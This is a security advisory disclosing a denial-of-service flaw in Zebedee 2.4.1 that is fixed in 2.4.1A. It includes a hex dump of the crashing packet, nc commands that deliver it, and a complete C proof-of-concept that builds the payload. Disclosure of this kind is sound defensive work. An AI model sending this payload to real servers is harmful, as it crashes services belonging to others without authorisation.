Zebedee DoS Vulnerability
We have found a denial of service vulnerability in Zebedee.
This issue have been fixed in 2.4.1A.
[TESTED ON]
Zebedee 2.4.1 (Windows version and source compiled Linux version)
[VULNERABILITY]
The server crushes when "0" received as the port number in the
protocol option header.
$ od -tx1z -Ax zebedeeDoS
000000 02 01 00 00 20 00 00 06 00 00 00 80 ff ff ff ff >.... ...........<
000010 0b d8 30 b3 21 9c a6 74 00 00 00 00 >..0.!..t....<
00001c
The 9th and 10th byte of the header contains 0x00.
$ nc -vv -z -w2 zebedeehost 11965
zebedeehost [192.168.xxx.xxx] 11965 (?) open
sent 0, rcvd 0
$ nc -vv zebedeehost 11965 < zebedeeDoS
zebedeehost [192.168.xxx.xxx] 11965 (?) open
sent 28, rcvd 2
$ nc -vv -z -w2 zebedeehost 11965
zebedeehost [192.168.xxx.xxx] 11965 (?) : Connection refused
sent 0, rcvd 0
$
In the zebedee.c, please look at the function makeConnection() wich called
from server(),
1703 /* Sanity check */
1704
1705 assert(host != NULL && port != 0);
1706
Here, if the port number is "0", both sub and parent processes seemed to
quit running.
This issue occurs when the "allowed redirection port" not set(in default).
[SOLUTION]
1) Upgrading zebedee to 2.4.1A.
Or
2) Setting up allowed redirection ports will address this issue.
[SAMPLE EXPLOIT]
mkZebedeeDoS.c
/*
$ gcc -o mkZebedeeDoS mkZebedeeDoS.c
$ ./mkZebedeeDoS > zebedeeDoS
$ nc targethost port < zebedeeDoS
*/
#include <stdio.h>
int main (int argc, char **argv)
{
int i, size;
char data[] = {
0x02, 0x01, // protocol version
0x00, 0x00, // flags
0x20, 0x00, // max message size
0x00, 0x06, // compression info
0x00, 0x00, // port request: value = 0x0
0x00, 0x80, // key length
0xff, 0xff, 0xff, 0xff, // key token
0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value
0x00, 0x00, 0x00, 0x00 // target host address
};
size = 28;
for(i=0; i<size; i++){
printf("%c", data[i]);
}
return 0;
}
[DISCOVERED BY]
International Network Security, Inc.
Mitsuaki Shiraishi
Tomoki Sanaki
Mutallip Ablimit
-----------------
International Network Security, Inc.
Shiraishi.M
<shiraishi@xxxxxxxxxx>